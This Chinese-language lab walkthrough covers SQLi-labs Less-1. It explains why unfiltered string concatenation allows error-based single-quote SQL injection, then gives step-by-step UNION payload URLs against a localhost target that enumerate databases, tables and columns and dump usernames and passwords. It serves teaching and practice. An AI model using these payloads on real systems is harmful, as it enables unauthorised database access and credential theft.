基于错误的SQL注入 Less-1
Less-1 基于错误的单引号注入
1、测试漏洞是否存在
1)id=1时,正常执行
http://127.0.0.1/sqlilabs/Less-1/?id=1
2)id=1'时,报错,说明可能存在SQL注入
http://127.0.0.1/sqlilabs/Less-1/?id=1'
从上述错误当中,我们可以看到提交到SQL语句中的1’在经过 构造后形成 “1” LIMIT 0,1‘,多加了一个’ 。这种方式就是从错误信息中得到我们所需要的信息,那我们接下来想如何将多余的’ 去掉呢?
3)id=1'--+,没有报错,说明可以注释掉SQL语句后面的内容,所以直接就把多余的‘去掉了,--就可以注释掉后边的内容,--+是因为--后边需要一个空格,URL编码后+就是空格了。
http://127.0.0.1/sqlilabs/Less-1/?id=1‘--+
从原理来分析,为什么会造成注入,这是SQL语句
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
我们之所以可以对参数id进行拼接,是因为语句没有对id进行任何的过滤,所以我们当我们提交id=1'--+时,实际的SQL语句是
SELECT * FROM users WHERE id='1'--+ LIMIT 0,1
2、测试列数
1)id=1'order by 4--+,只有在order by 后面的数字是4时,才会引起报错,说明这里是三列数据。
order by n :猜测执行SQL语句的列数
http://127.0.0.1/sqlilabs/Less-1/?id=1‘order by 4--+
3、查询数据库名
我们利用union联合注入
union 的作用是将两个SQL语句进行联合
union 前后的两个SQL 语句的选择列数要相同才可以
Union all 与union 的区别是增加了去重的功能
http://127.0.0.1/sqlilabs/Less-1/?id=-1'union select 1,2,3--+
当你输入的id在数据库中不存在时(id=-1),即union前半部分的内容为空,就会显示union后面的语句,所以当我们输入id=-1时,就返回了我们自己构造的union的数据。
现在我们利用information_schema查询数据库名
http://127.0.0.1/sqlilabs/Less-1/?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+
group_concat() 是多条信息一次查询,因为会有很多数据库,若不加group_concat会只显示第一条,而加上了,就会在一行中全部显示。
4、查询表名
用与查询数据库名相同的方法,查询security的表名
http://127.0.0.1/sqlilabs/Less-1/?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--
5、查询列名
查询uesrs表中的列
http://127.0.0.1/sqlilabs/Less-1/?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--
6、查询数据
查看id=2的username和password中的数据,同理可以查看id=3,id=4等等...
http://127.0.0.1/sqlilabs/Less-1/?id=-1' union select 1,username,password from users where id=2--
查看所有用户名密码,我们还是用到group_concat()
http://127.0.0.1/sqlilabs/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from users--